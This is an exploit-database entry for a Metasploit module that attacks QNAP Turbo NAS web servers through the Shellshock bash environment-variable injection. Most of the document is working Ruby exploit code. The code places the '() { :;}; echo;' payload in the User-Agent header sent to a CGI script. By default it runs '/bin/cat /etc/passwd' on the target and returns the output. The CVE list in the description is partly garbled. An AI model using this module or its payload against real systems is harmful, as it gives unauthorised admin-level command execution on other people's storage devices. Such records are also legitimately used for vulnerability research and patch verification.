ID

VAR-E-201409-0553

CVE

EDB ID

36504

TITLE

QNAP - Web Server Remote Code Execution via Bash Environment Variable Code Injection (Metasploit) - Hardware remote Exploit

DESCRIPTION

QNAP - Web Server Remote Code Execution via Bash Environment Variable Code Injection (Metasploit). CVE-2014-7910CVE-112004CVE-2014-7227CVE-2014-7196CVE-2014-7169CVE-2014-62771CVE-2014-6271CVE-2014-3671CVE-2014-3659 . remote exploit for Hardware platform

AFFECTED PRODUCTS

EXPLOIT

# Exploit Title: QNAP Web server remote code execution via Bash Environment Variable Code Injection
# Date: 7 February 2015
# Exploit Author: Patrick Pellegrino | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other]
# Employer homepage: http://www.securegroup.it
# Vendor homepage: http://www.qnap.com
# Version: All Turbo NAS models except TS-100, TS-101, TS-200
# Tested on: TS-1279U-RP
# CVE : 2014-6271
# Vendor URL bulletin : http://www.qnap.com/i/it/support/con_show.php?cid=61

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/d3vpp/metasploit-modules
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'QNAP Web server remote code execution via Bash Environment Variable Code Injection',
'Description' => %q{
This module allows you to inject unix command with the same user who runs the http service - admin - directly on the QNAP system.
Affected products:
All Turbo NAS models except TS-100, TS-101, TS-200
},
'Author' => ['Patrick Pellegrino'], # Metasploit module | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other]
'License' => MSF_LICENSE,
'References' => [
['CVE', '2014-6271'], #aka ShellShock
['URL', 'http://www.qnap.com/i/it/support/con_show.php?cid=61']
],
'Platform' => ['unix']
))

register_options([
OptString.new('TARGETURI', [true, 'Path to CGI script','/cgi-bin/index.cgi']),
OptString.new('CMD', [ true, 'The command to run', '/bin/cat /etc/passwd'])
], self.class)
end

def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'agent' => "() { :;}; echo; /usr/bin/id"
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
vprint_error("Connection failed")
return Exploit::CheckCode::Unknown
end

if !res
return Exploit::CheckCode::Unknown
elsif res.code== 302 and res.body.include? 'uid'
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def run

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'agent' => "() { :;}; echo; #{datastore['CMD']}"
})

if res.body.empty?
print_error("No data found.")
elsif res.code== 302
print_status("#{rhost}:#{rport} - bash env variable injected")
puts " "
print_line(res.body)
end
end

end

EXPLOIT LANGUAGE

rb

PRICE

free

TYPE

Web Server Remote Code Execution via Bash Environment Variable Code Injection (Metasploit)

TAGS

CREDITS

Patrick Pellegrino

EXTERNAL IDS

REFERENCES

SOURCES

LAST UPDATE DATE

2023-05-30T11:41:26.982000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE